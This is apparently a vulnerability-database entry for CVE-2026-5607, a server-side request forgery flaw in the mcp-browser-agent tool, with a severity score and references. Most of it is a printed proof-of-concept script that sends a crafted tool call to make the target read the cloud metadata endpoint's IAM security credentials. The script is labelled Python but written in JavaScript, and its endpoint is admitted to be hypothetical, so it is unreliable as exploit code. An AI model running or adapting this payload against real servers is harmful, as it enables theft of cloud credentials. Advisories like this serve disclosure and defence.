CVE-2026-5607

Description

A security vulnerability has been detected in imprvhub mcp-browser-agent up to 0.8.0. This impacts the function CallToolRequestSchema of the file src/handlers.ts of the component URL Parameter Handler. The manipulation of the argument request.params.name/request.params.arguments leads to server-side request forgery. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

imprvhub mcp-browser-agent <= 0.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-5607
// Target: imprvhub mcp-browser-agent <= 0.8.0
// Description: Exploiting SSRF via CallToolRequestSchema

const http = require('http');

// Malicious payload targeting internal metadata
const payload = JSON.stringify({
  name: "read_file", // Manipulating request.params.name
  arguments: {
    path: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" // Manipulating request.params.arguments
  }
});

const options = {
  hostname: 'TARGET_HOST',
  port: TARGET_PORT,
  path: '/api/call-tool', // Hypothetical endpoint based on handler context
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Content-Length': Buffer.byteLength(payload)
  }
};

const req = http.request(options, (res) => {
  console.log(`Status: ${res.statusCode}`);
  res.on('data', (d) => {
    process.stdout.write(d);
  });
});

req.on('error', (error) => {
  console.error(error);
});

req.write(payload);
req.end();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5607
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5607
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5607/
[4] VulDB https://vuldb.com/cve/CVE-2026-5607
[5] https://github.com/wing3e/public_exp/issues/25
[6] https://vuldb.com/submit/785034
[7] https://vuldb.com/vuln/355398
[8] https://vuldb.com/vuln/355398/cti

Raw JSON Data

JSON

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